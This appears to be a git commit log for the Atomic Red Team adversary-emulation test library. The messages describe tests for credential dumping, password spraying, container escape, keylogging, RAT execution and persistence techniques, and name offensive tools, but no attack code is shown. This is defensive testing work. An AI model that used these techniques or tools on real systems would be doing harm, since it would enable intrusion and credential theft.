2022-07-25 14:02:10 -06:00
Atomic Red Team doc generator bad4792e43 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-25 19:59:44 +00:00
Felipe Bueno 0aac37a7b9 Update T1647.yaml (#2047)
Attack_technique name is incorrect in the T1647 archive
2022-07-25 13:59:02 -06:00
Leo Verlod 5f1b224bfd Update T1552.005.yaml 2022-07-24 22:34:44 -05:00
Leo Verlod ac356d82ea Create T1552.005.yaml 2022-07-24 22:04:39 -05:00
Atomic Red Team doc generator a500e57f94 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-21 21:26:05 +00:00
Atomic Red Team GUID generator 3e0522595a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-21 21:25:58 +00:00
Bhavin Patel 52f2ebf1f6 Merge pull request #2039 from redcanaryco/mofcomp
Adding MOFComp to T1546.003
2022-07-21 14:25:18 -07:00
Bhavin Patel 2e87e75909 Merge branch 'master' into mofcomp 2022-07-21 14:21:12 -07:00
Atomic Red Team doc generator 03c1726b43 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-21 13:28:25 +00:00
Atomic Red Team GUID generator 2dae5d65cc Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-21 13:28:18 +00:00
Paul 71f344e3d7 T1059.003 Read CMD from file and execute (#2041)
Simulate Raspberry Robin using the "standard-in" command prompt feature cmd `/R <` to read and execute a file via cmd.exe
2022-07-21 06:27:44 -07:00
Michael Haag f230160f64 Update T1546.003.mof 2022-07-19 07:58:51 -07:00
Michael Haag 76ef8e6e11 Adding MOFComp to T1546.003 2022-07-19 07:47:26 -06:00
Atomic Red Team doc generator 28ecaa135f Generated docs from job=generate-docs branch=master [ci skip] 2022-07-18 18:12:45 +00:00
Atomic Red Team GUID generator 8f73aa18f5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-18 18:12:38 +00:00
Jose Enrique Hernandez 82b8bc5f4b Merge pull request #2016 from RoundBunny/T1222.002
Added C file test to T1222.002
2022-07-18 14:11:22 -04:00
Jose Enrique Hernandez 021484afb7 Merge branch 'master' into T1222.002 2022-07-18 13:00:15 -04:00
Atomic Red Team doc generator 768a631ee3 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-15 16:16:09 +00:00
Atomic Red Team GUID generator 0fb72b25fb Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-15 16:16:03 +00:00
Michael Haag e2c6554dd9 Update T1562.001.yaml (#2036)
* Update T1562.001.yaml

* guid
2022-07-15 10:15:28 -06:00
Atomic Red Team doc generator a9deea5eba Generated docs from job=generate-docs branch=master [ci skip] 2022-07-15 03:19:33 +00:00
Dan d98de27058 Update T1082-3,4 (#2035)
Remove semicolons from end of if statements

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-14 21:19:00 -06:00
Atomic Red Team doc generator e37f97dd4e Generated docs from job=generate-docs branch=master [ci skip] 2022-07-15 03:17:25 +00:00
Dan 0dadea6454 Update T1018-4 (#2034)
* Update T1018-4

Update T1018, Test 4

* update input arg descriptions

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-14 21:16:46 -06:00
Atomic Red Team doc generator 659e4e2db0 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-14 16:47:13 +00:00
Atomic Red Team GUID generator de862ad9af Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-14 16:47:06 +00:00
Michael Haag 86780832bf Use SpecialAccounts to Hide User on Windows (#2033)
* Use SpecialAccounts to Hide User on Windows

* Update T1564.002.yaml

* guid
2022-07-14 10:46:33 -06:00
Jose Enrique Hernandez 5dc5bd0d9a Merge branch 'master' into T1222.002 2022-07-14 12:37:27 -04:00
Atomic Red Team doc generator 95e59bf6cd Generated docs from job=generate-docs branch=master [ci skip] 2022-07-14 16:04:27 +00:00
Martin Rothe 10cd46849f Corrected github url to raw powershell from html (#2032) 2022-07-14 10:03:49 -06:00
Atomic Red Team doc generator 726c223308 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-13 20:10:17 +00:00
Atomic Red Team GUID generator a04ddfd5d1 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-13 20:10:12 +00:00
Bhavin Patel 14c68b403c Merge pull request #2018 from Leomon5/patch-3
Adding T1082 Test - Azure Security Scan with SkyArk
2022-07-13 13:09:44 -07:00
Bhavin Patel f1ea602ba7 Merge branch 'master' into patch-3 2022-07-13 13:08:18 -07:00
Atomic Red Team doc generator 9c46e34eb0 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-13 16:55:34 +00:00
Jacques Decarie 4c7988bbfc T1546.002 (#2030)
* attempt to stop service first, in case its already running

* adding reg backup and the cleanup commands to T1546.002

* adding reg backup and the cleanup commands to T1546.002

* adding reg backup and the cleanup commands to T1546.002

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-13 10:54:57 -06:00
Atomic Red Team doc generator 4189c61800 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-12 14:53:38 +00:00
Atomic Red Team GUID generator 0e597a89bd Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-12 14:53:32 +00:00
arames13 dd2d946f1c T1555.003-update (#2026)
* T1555.003-update

* Update T1555.003.yaml

* Delete T1555.003.yaml

* Create T1555.003.yaml

* Rename atomics/T1555.003/src/WebBrowserPassView.cfg to atomics/T1555.003/bin/WebBrowserPassView.cfg

* Delete atomics/T1555.003/src directory

* Add files via upload

adding 'WebBrowserPassView.exe' file to bin

Co-authored-by: anupama ramesh <aramesh@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-12 08:53:02 -06:00
Atomic Red Team doc generator b06de49267 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-11 21:03:17 +00:00
Atomic Red Team GUID generator 7feed2d068 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-11 21:03:10 +00:00
tccontre 0757ad31d3 Update T1112.yaml (#2029)
* Update T1112.yaml

* Update T1112.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-11 15:02:32 -06:00
Atomic Red Team doc generator f816531cc0 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-11 20:36:47 +00:00
Atomic Red Team GUID generator 2bb69eca3d Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-11 20:36:42 +00:00
Bhavin Patel 34bb7bd45c Merge pull request #2014 from Leomon5/patch-2
Adding T1530 Test 2
2022-07-11 13:36:16 -07:00
Bhavin Patel 34fe3cb830 Merge branch 'master' into patch-2 2022-07-11 13:33:53 -07:00
Atomic Red Team doc generator f339e7da7d Generated docs from job=generate-docs branch=master [ci skip] 2022-07-07 05:28:42 +00:00
Dan d1c108053b Update T1552.001-3 (#2028)
Update T1552.001 Test 3 to silently continue when errors occur
2022-07-06 23:28:12 -06:00
Atomic Red Team doc generator a9051c38de Generated docs from job=generate-docs branch=master [ci skip] 2022-07-04 17:46:06 +00:00
Dan 68160ab7e0 Update T1059.004-3,4 (#2024)
Updates to sub-tests 3 and 4

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-04 11:45:35 -06:00
Atomic Red Team doc generator e1c2feefe4 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-04 17:44:35 +00:00
Atomic Red Team GUID generator 4bf0024d22 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-04 17:44:29 +00:00
Michael Haag a85628597e Odbcconf Response File (#2025)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-04 11:44:06 -06:00
Atomic Red Team doc generator 42d273917a Generated docs from job=generate-docs branch=master [ci skip] 2022-07-04 17:34:49 +00:00
Dan c00d4794c2 Update T1059.006-4 (#2023)
Get correct python version
2022-07-04 11:34:08 -06:00
Atomic Red Team doc generator 085aa69e1e Generated docs from job=generate-docs branch=master [ci skip] 2022-07-03 03:13:54 +00:00
Dan 38fd567a88 Updates to T1046-1,2 (#2022)
Updates to T1046 Test 1 and 2
2022-07-02 21:13:20 -06:00
Atomic Red Team doc generator ace337977b Generated docs from job=generate-docs branch=master [ci skip] 2022-07-02 02:42:37 +00:00
Dan b1f18f38ff Update T1135-2 (#2021)
Run smbstatus with sudo

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-01 20:42:09 -06:00
Atomic Red Team doc generator 266cafe4ae Generated docs from job=generate-docs branch=master [ci skip] 2022-07-02 02:37:34 +00:00
Atomic Red Team GUID generator 21dc92261d Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-02 02:37:28 +00:00
frack113 857e9eaf75 Add simple test (#2015)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-01 20:37:00 -06:00
Atomic Red Team doc generator 2411cb6cef Generated docs from job=generate-docs branch=master [ci skip] 2022-07-02 02:35:19 +00:00
Dan 2bcf9a713f Update T1087.002-3 (#2019)
Use COMPUTERNAME variable for command prompt.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-01 20:34:51 -06:00
Atomic Red Team doc generator 1324d0f434 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-02 02:25:49 +00:00
Atomic Red Team GUID generator 39edfb5296 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-02 02:25:44 +00:00
zspadoni28 20b438d4bd Adding T1219-8 | NetSupport - RAT Execution (#2017)
* Update T1219.yaml with NetSupport RAT Execution

This test is designed to install and execute the NetSupport tool that is capable of RAT execution.

* Update T1219.yaml
2022-07-01 20:25:13 -06:00
Brendan Malone 9307edbf71 Update chown.c 2022-06-30 13:39:29 -05:00
Leo Verlod 9f7a456f9f Adding T1082 Test - Azure Security Scan with SkyArk 2022-06-29 00:09:34 -05:00
Brendan Malone 875845f669 Add files via upload 2022-06-27 15:02:21 -05:00
Brendan Malone 0e5861eee3 Added chown script 2022-06-27 15:01:59 -05:00
Brendan Malone e0c9dad4cf Rename atomics/T1222.002/T1222.002.c to atomics/T1222.002/src/T1222.002.c 2022-06-27 10:46:24 -05:00
Brendan Malone 3b34c838c6 Add files via upload 2022-06-27 10:45:39 -05:00
Brendan Malone 71ba8e9676 Added Chmod through c script test 2022-06-27 10:45:14 -05:00
Leo Verlod 673b63af0b Adding T1530 Test 2 2022-06-26 03:08:33 -05:00
Atomic Red Team doc generator 96f7ca5f9b Generated docs from job=generate-docs branch=master [ci skip] 2022-06-26 00:13:54 +00:00
Atomic Red Team GUID generator d0d95fe8ad Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-26 00:13:49 +00:00
Jose Enrique Hernandez a1b8b67669 Merge pull request #1994 from ruyek-git/patch-1
Python pty module and spawn function used to spawn sh or bash
2022-06-25 20:13:24 -04:00
Jose Enrique Hernandez 15ce614164 Merge branch 'master' into patch-1 2022-06-25 20:12:37 -04:00
Atomic Red Team doc generator 71bedf4947 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-26 00:11:09 +00:00
Jose Enrique Hernandez 808c3ca081 Merge pull request #2012 from RoundBunny/T1027
Updated T1027 i0 with cleanup and non-builtin command
2022-06-25 20:10:35 -04:00
Jose Enrique Hernandez 53f16a761c Merge branch 'master' into T1027 2022-06-25 20:09:23 -04:00
ruyek-git c007d9c473 Update T1059.006.yaml
indentation adjusted for line #158
2022-06-25 18:53:22 -05:00
Jose Enrique Hernandez 317c943f4c Merge branch 'master' into patch-1 2022-06-25 18:29:42 -04:00
Atomic Red Team doc generator 566c6d6d28 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-24 03:59:02 +00:00
Dan 9898bb9ecb Update T1078.003-1 (#2013)
* Update T1078.003-1

Make password an input argument for Test 1

* try to make the default password work in more environments

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-23 21:58:27 -06:00
Atomic Red Team doc generator 0d352c3c8e Generated docs from job=generate-docs branch=master [ci skip] 2022-06-23 19:46:46 +00:00
Atomic Red Team GUID generator 7312259b59 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-23 19:46:40 +00:00
tccontre 26dda89f12 disabling several Windows Notifications and Allow RDP remote assistance Features (#2011)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1087.002.yaml

* Update T1087.002.yaml

* Update T1087.002.yaml

* Add files via upload

* Update T1053_05_SCTASK_HIDDEN_ATTRIB.xml

* Update T1053.005.yaml

* Update T1053.005.yaml

* Update T1087.002.yaml

* Update T1087.002.yaml

* Update T1112.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-23 13:46:11 -06:00
Brendan Malone 1497723728 Updated T1027 i0 with cleanup and non-builtin command
We were having a hard time detecting this one because echo is a built-in command. In addition, this test has no cleanup. Added both cleanup and a bash/sh command
2022-06-23 14:10:17 -05:00
Atomic Red Team doc generator b73cf1d197 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-23 04:08:45 +00:00
Atomic Red Team GUID generator f0b856a013 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-23 04:08:39 +00:00
Jacques Decarie a846bab9b2 T1546.009 (#2009)
* attempt to stop service first, in case its already running

* adding T1546.009

* correct T number

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-22 22:08:15 -06:00
Atomic Red Team doc generator 436a980bd2 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-23 04:02:16 +00:00
Dan bae573c815 Update T1083-1 (#2008)
Added a cleanup command to delete the file created during test execution.  Updated the file written to during test execution to be specified as an input argument.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-22 22:01:42 -06:00
Atomic Red Team doc generator 38b85ead3f Generated docs from job=generate-docs branch=master [ci skip] 2022-06-23 03:56:28 +00:00
packetzero dd5674f066 T1543.004 cleanup file created by launch daemon (#2010) 2022-06-22 21:56:00 -06:00
Atomic Red Team doc generator e056ac4633 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-22 19:15:42 +00:00
Atomic Red Team GUID generator e7167fffaf Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-22 19:15:36 +00:00
Bhavin Patel fe2b4be15f Merge pull request #1995 from Leomon5/patch-1
Adding T1530 Test 1 - Enumerate Azure Blobs with MicroBurst
2022-06-22 12:15:03 -07:00
Leo Verlod 449ddbf266 Updating test name and supported platform 2022-06-21 20:34:23 -05:00
ruyek-git ad5cdce233 Update T1059.006.yaml 2022-06-21 17:57:24 -05:00
ruyek-git 8e8ae44bc5 Update T1059.006.yaml
spaces adjusted. exit cmd added to avoid timeout if it works.
2022-06-21 17:43:42 -05:00
Bhavin Patel 97dbd15567 Merge branch 'master' into patch-1 2022-06-21 15:30:50 -07:00
Jose Enrique Hernandez 7080d1c962 Merge branch 'master' into patch-1 2022-06-21 14:25:51 -04:00
Atomic Red Team doc generator 60a6fea2b1 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-21 17:46:20 +00:00
Atomic Red Team GUID generator eb5c6221dd Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-21 17:46:13 +00:00
JrOrOneEquals1 c573365bb5 New test using TruffleSnout.exe/typo (#2002)
* Update README.md

* Add files via upload

* Create idk

* Delete TruffleSnout.exe

* Delete idk

* Create a

* Upload TruffleSnout.exe

* Delete a

* Add new test using TruffleSnout.exe

* Fix #s on commands, change download url

* Update T1482.yaml

* Change default to %userdomain%

* Put % default value in quotes

* Delete TruffleSnout.exe

* Update T1482.yaml
2022-06-21 11:45:37 -06:00
Jose Enrique Hernandez 5b05258429 Merge branch 'master' into patch-1 2022-06-21 12:20:31 -04:00
Atomic Red Team doc generator c0c9c6db0c Generated docs from job=generate-docs branch=master [ci skip] 2022-06-21 15:24:04 +00:00
Jose Enrique Hernandez 35b292fba2 Merge pull request #2007 from redcanaryco/clr2of8-patch-19
add recurse/force flags to cleanup command
2022-06-21 11:23:28 -04:00
Jose Enrique Hernandez a03d13c1ce Merge branch 'master' into clr2of8-patch-19 2022-06-21 11:22:36 -04:00
Atomic Red Team doc generator 1a4efda00e Generated docs from job=generate-docs branch=master [ci skip] 2022-06-21 15:22:06 +00:00
Jose Enrique Hernandez 19acd997dc Merge pull request #2004 from redcanaryco/clr2of8-patch-17
update att&ck nav layer version to v11
2022-06-21 11:21:30 -04:00
Jose Enrique Hernandez f55c987bd3 Merge branch 'master' into clr2of8-patch-17 2022-06-21 11:20:38 -04:00
Jose Enrique Hernandez e8ef109fe3 Merge branch 'master' into clr2of8-patch-19 2022-06-21 11:19:27 -04:00
Jose Enrique Hernandez 5734a4ce7b Merge branch 'master' into patch-1 2022-06-21 10:08:16 -04:00
Atomic Red Team doc generator 589c71ee12 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-21 14:08:13 +00:00
Atomic Red Team GUID generator c006599f05 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-21 14:08:07 +00:00
Jose Enrique Hernandez a70b59027e Merge pull request #1993 from RoundBunny/1056.001
T1056.001 - Keylogging add MacOS Test
2022-06-21 10:07:37 -04:00
Jose Enrique Hernandez df068ac8bd Merge branch 'master' into 1056.001 2022-06-21 10:06:52 -04:00
ruyek-git 9dd636838d Merge branch 'master' into patch-1 2022-06-21 08:21:15 -05:00
Carrie Roberts 91c7add074 add recurse/force flags to cleanup command 2022-06-20 16:03:58 -06:00
Brendan Malone 2f47a4c4f2 Added Reference in yaml 2022-06-17 10:05:33 -05:00
Jose Enrique Hernandez 42c5a0bab6 Merge pull request #2005 from redcanaryco/clr2of8-patch-18 2022-06-16 19:00:35 -04:00
Carrie Roberts 3d7ae73566 typo fix 2022-06-16 16:53:22 -06:00
Carrie Roberts 3060cd5e2f update att&ck nav layer version to v11 2022-06-16 16:48:08 -06:00
Atomic Red Team doc generator 819934cc3f Generated docs from job=generate-docs branch=master [ci skip] 2022-06-16 22:47:00 +00:00
Jose Enrique Hernandez eb6a77b699 Merge pull request #2003 from clr2of8/mitreApr2022 2022-06-16 18:46:29 -04:00
Carrie Roberts 4828b1d327 Merge branch 'master' into mitreApr2022 2022-06-16 16:38:42 -06:00
Atomic Red Team doc generator 15270384cd Generated docs from job=generate-docs branch=master [ci skip] 2022-06-16 21:44:10 +00:00
Jacques Decarie 49b1dec3c6 attempt to stop service first, in case its already running (#2001)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-16 15:43:38 -06:00
Carrie Roberts 17c9a64fee recovered sct file from github history (#2000)
* Create T1218.003.sct

* Update T1218.003.inf
2022-06-16 14:41:09 -06:00
Brendan Malone c27fe5e0ec Merge branch 'master' into 1056.001 2022-06-16 14:52:46 -05:00
Atomic Red Team doc generator add51411df Generated docs from job=generate-docs branch=master [ci skip] 2022-06-16 19:24:52 +00:00
Michael Haag 174e18402f Update T1218.007.yaml (#1999) 2022-06-16 13:24:18 -06:00
Brendan Malone 97049fe2fc Made requested changed 2022-06-16 10:38:03 -05:00
Jose Enrique Hernandez 509e672bf4 Merge branch 'master' into patch-1 2022-06-15 20:55:35 -04:00
Jose Enrique Hernandez 176bc88abf Merge branch 'master' into 1056.001 2022-06-15 20:49:46 -04:00
Carrie Roberts 165c26be6a updates based mitre v11 2022-06-15 17:25:38 -06:00
Atomic Red Team doc generator 5a14d96c37 Generated docs from job=generate-docs branch=master [ci skip] 2022-06-15 21:35:21 +00:00
Jose Enrique Hernandez 0d09ff0234 Merge pull request #1998 from clr2of8/no02
moving atomics to correct T#
2022-06-15 17:34:47 -04:00
Carrie Roberts 03e37456cd moving atomics to correct T# 2022-06-15 15:30:42 -06:00
Atomic Red Team GUID generator 1d1ae02aa3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-15 17:24:10 +00:00
Jacques Decarie d0a80fb9b4 adding t1547.003 (#1996)
* adding t1547.003

* fixing cleanup commands
2022-06-15 11:23:41 -06:00
Leo Verlod 307665de3b Create T1530.yaml 2022-06-14 02:23:52 -05:00
Atomic Red Team GUID generator 9c3785a4ca Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-13 21:04:24 +00:00
Leo Verlod 148a5a235d Adding T1546.015 Test 3 - COM Hijacking with RunDLL32 (Local Server Switch) (#1992)
* Update T1546.015.yaml

* Add files via upload

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-13 15:03:51 -06:00
ruyek-git a29128960f Update T1059.006.yaml 2022-06-13 11:29:48 -05:00
ruyek-git 3097dadca7 Update T1059.006.yaml 2022-06-13 11:26:40 -05:00
ruyek-git ee95f0c629 Update T1059.006 yaml - Python pty module and spawn function used to spawn sh or bash
-Zero-Day Exploitation of Atlassian Confluence [CVE-2022-26134] Unauthenticated RCE vulnerability - Critical severity
As per Volexity, bash shells were launched by the Confluence web application process. It had spawned a bash process which spawned a Python process that in turn spawned a bash shell.
Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
2022-06-10 23:45:35 -05:00
Brendan Malone c8b80f6fce Add files via upload 2022-06-09 10:19:55 -05:00
Brendan Malone 9982660ef4 Delete MacOSKeylogger.swift 2022-06-09 10:19:39 -05:00
Brendan Malone 62525bc507 Changed swift script 2022-06-09 09:59:48 -05:00
Brendan Malone 1bfc4dc6e3 Updated descriptions 2022-06-09 09:48:27 -05:00
Brendan Malone 58656a3f53 Merge branch 'redcanaryco:master' into 1056.001 2022-06-09 09:46:40 -05:00
Atomic Red Team GUID generator 25299b1e40 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-08 22:51:10 +00:00
Jose Enrique Hernandez 84232bc50c Merge pull request #1989 from RoundBunny/master
Added T1574.006 MacOS Dylib Injection
2022-06-08 18:50:39 -04:00
Brendan Malone d2cf4f16bb Uploaded swift keylogging script 2022-06-08 10:13:51 -05:00
Brendan Malone 749c30e4b6 Added MacOS Test for T1056.001 2022-06-08 10:13:11 -05:00
Brendan Malone 40917c1a65 Moved c script 2022-06-07 10:36:26 -05:00
Jose Enrique Hernandez 89c697c951 Merge branch 'master' into master 2022-06-04 23:05:22 -04:00
Atomic Red Team GUID generator d8f1820ef6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-04 00:04:19 +00:00
tccontre a768529778 Creates Schedule task with hidden attribute settings (#1986)
* Update T1112.yaml

* Update T1112.yaml

* typos

* Update T1087.002.yaml

* Update T1087.002.yaml

* Update T1087.002.yaml

* Add files via upload

* Update T1053_05_SCTASK_HIDDEN_ATTRIB.xml

* Update T1053.005.yaml

* Update T1053.005.yaml

* Update T1087.002.yaml

* Update T1087.002.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-06-03 18:03:49 -06:00
Atomic Red Team GUID generator 3d378b3924 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-03 22:48:12 +00:00
Ján Trenčanský 3ccb32ec78 WMI Persistence using ActiveScriptEventConsumer (#1987) 2022-06-03 16:47:47 -06:00
Brendan Malone df67a8aa4d Fixed not compiling 2022-06-03 10:23:25 -05:00
Brendan Malone 3e36aa671f MacOS Dylib injection for T1574.006
reference: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
2022-06-02 14:57:35 -05:00
Brendan Malone 7748526bd4 C file for opening calc 2022-06-02 14:56:00 -05:00
Atomic Red Team GUID generator 5b1111f223 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-06-01 20:32:51 +00:00
Bhavin Patel a42be924d6 Merge pull request #1983 from javery-sysdig/patch-2
Create T1611.002.yaml "Escape to Host"
2022-06-01 13:32:12 -07:00
Bhavin Patel fa3a182989 Merge branch 'master' into patch-2 2022-06-01 13:30:54 -07:00
Atomic Red Team doc generator 3b83031d25 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-31 17:14:18 +00:00
Atomic Red Team GUID generator cc5498aee5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-31 17:14:13 +00:00
Bhavin Patel 5c7c272b82 Merge pull request #1981 from Leomon5/patch-14
Adding T1110.003 Test 7 - Password Spray with MSOLSpray
2022-05-31 10:13:40 -07:00
Bhavin Patel 0d57af5887 Merge branch 'master' into patch-14 2022-05-31 10:12:43 -07:00
Atomic Red Team doc generator a111959d19 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-25 04:21:58 +00:00
Atomic Red Team GUID generator d9b7195f86 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-25 04:21:53 +00:00
IT-Native c02ec5c36e Changes file extension of Test 1195 so that the file is detected and … (#1982)
* Changes file extension of Test 1195 so that the file is detected and there is no error anymore

* Update T1195.yaml

Co-authored-by: Georg Schlagholz <georg.schlagholz@it-native.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-24 22:21:26 -06:00
Atomic Red Team doc generator a888e0e7c9 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-25 04:12:17 +00:00
Atomic Red Team GUID generator a8f00eb241 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-25 04:12:12 +00:00
frack113 af529da1e5 Add lolbin (#1979) 2022-05-24 22:11:43 -06:00
Jason Avery be60206066 Create T1611.002.yaml "Escape to Host"
Fairly straight forward way to escape a privileged docker container and compromise the host once getting root on the container.
2022-05-24 11:16:30 -05:00
Leo Verlod 322f6843fa Adding T1110.003 Test 7 - Password Spray with MSOLSpray 2022-05-23 23:44:09 -05:00
Atomic Red Team doc generator 9e8bb918d5 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-19 23:05:53 +00:00
Atomic Red Team GUID generator 7846e9770a Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-19 23:05:48 +00:00
Carrie Roberts 908924d51f add a lightweight password spray test (#1978) 2022-05-19 17:05:21 -06:00
Atomic Red Team doc generator ebfc28708d Generated docs from job=generate-docs branch=master [ci skip] 2022-05-17 22:48:32 +00:00
Carrie Roberts c171910f63 typo fix (#1973) 2022-05-17 16:48:04 -06:00
Atomic Red Team doc generator 2007ac5d8d Generated docs from job=generate-docs branch=master [ci skip] 2022-05-17 22:25:12 +00:00
Atomic Red Team GUID generator a204b5bcfb Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-17 22:25:08 +00:00
Jesse Moore 0ba9c7ec9e Challenge Bounty T1615 LOL-cmdlet Get-GPO cmdlet (#1966)
* ChallengeBounty T1615 LOLB Get-GPO cmdlet

* Added changes 

Took out variableInput and put in $ENV:userdnsdomain, on attack command also made the CheckPreqs say people need to install RSAT manually for GroupPolicy and ActiveDirectory. The cleanUp command won't take those RSAT modules out, but instead will remove the gpo_output file.  The GetPrereq might need a little work but shouldn't need it..... since the -CheckPrereq says to Manually install on Windows 10. Hope that works out.

* Update T1615.yaml

Glad you showed me the PreReq "if" command trick, I would of struggled with it, thank you. Thanks for pointing out the GetPreqs need to be in there separate areas, I don't think I've had to do that before. Ya, glad you had me look more into getting the Win10 to work; I was just going for win server but its nice to have both as an option, thanks for kindly suggesting.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-17 16:24:48 -06:00
Atomic Red Team doc generator 086eb73ee8 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-17 16:51:43 +00:00
Atomic Red Team GUID generator 6dffd90b7f Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-17 16:51:38 +00:00
Leo Verlod df1f3bf6ce Create T1560.003 Test 1 (#1967)
* Create T1560.003 test 1

* Add T1048.003 Test 6

* Delete T1560.003 (moved to T1048.003

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-17 10:51:09 -06:00
Atomic Red Team doc generator 989bef284b Generated docs from job=generate-docs branch=master [ci skip] 2022-05-17 00:07:30 +00:00
Atomic Red Team GUID generator 351ee2e429 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-17 00:07:25 +00:00
Leo Verlod f949628243 Adding T1555.003 Test 14 - Chrome Login Data Access (MacOS) (#1965)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-16 18:07:01 -06:00
Atomic Red Team doc generator 4c969327d5 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-16 14:38:51 +00:00
Jason Avery d6158d5f8d Fix T1574.006-1 CleanUp (#1968)
Fix sed syntax to properly remove the test library from ld.so.preload.
2022-05-16 08:38:18 -06:00
Atomic Red Team doc generator ef93c45591 Generated docs from job=generate-docs branch=master [ci skip] 2022-05-13 01:57:09 +00:00
Atomic Red Team GUID generator db49bd847c Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-13 01:57:04 +00:00
tlor89 73f3c752a4 Update T1555.003.yaml (#1949)
* Update T1555.003.yaml

Loot local Credentials - Invoke-WCMDump technique via function of WinPwn

* Update T1555.003.yaml

added mimi-kittenz for extracting juicy info from memory and Sharpweb gathering Browser Credentials

* Update T1555.003.yaml

update

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 19:56:38 -06:00
Atomic Red Team doc generator 812f7dcbaa Generated docs from job=generate-docs branch=master [ci skip] 2022-05-13 01:56:04 +00:00
Atomic Red Team GUID generator b3ab708511 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-13 01:56:00 +00:00
tlor89 3b2e6e7404 Update T1003.002.yaml (#1963)
* Update T1003.002.yaml

add Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn

* Update T1003.002.yaml

updated

* Update T1003.002.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-05-12 19:55:35 -06:00
Atomic Red Team doc generator 574a81359d Generated docs from job=generate-docs branch=master [ci skip] 2022-05-13 01:21:21 +00:00
Atomic Red Team GUID generator adebeb27d1 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-05-13 01:21:16 +00:00
tlor89 b384c8b7ab Update T1555.yaml (#1948)
* Update T1555.yaml

Loot local Credentials - Invoke-WCMDump technique via function of WinPwn
Loot local Credentials - Wifi Credentials technique via function of WinPwn
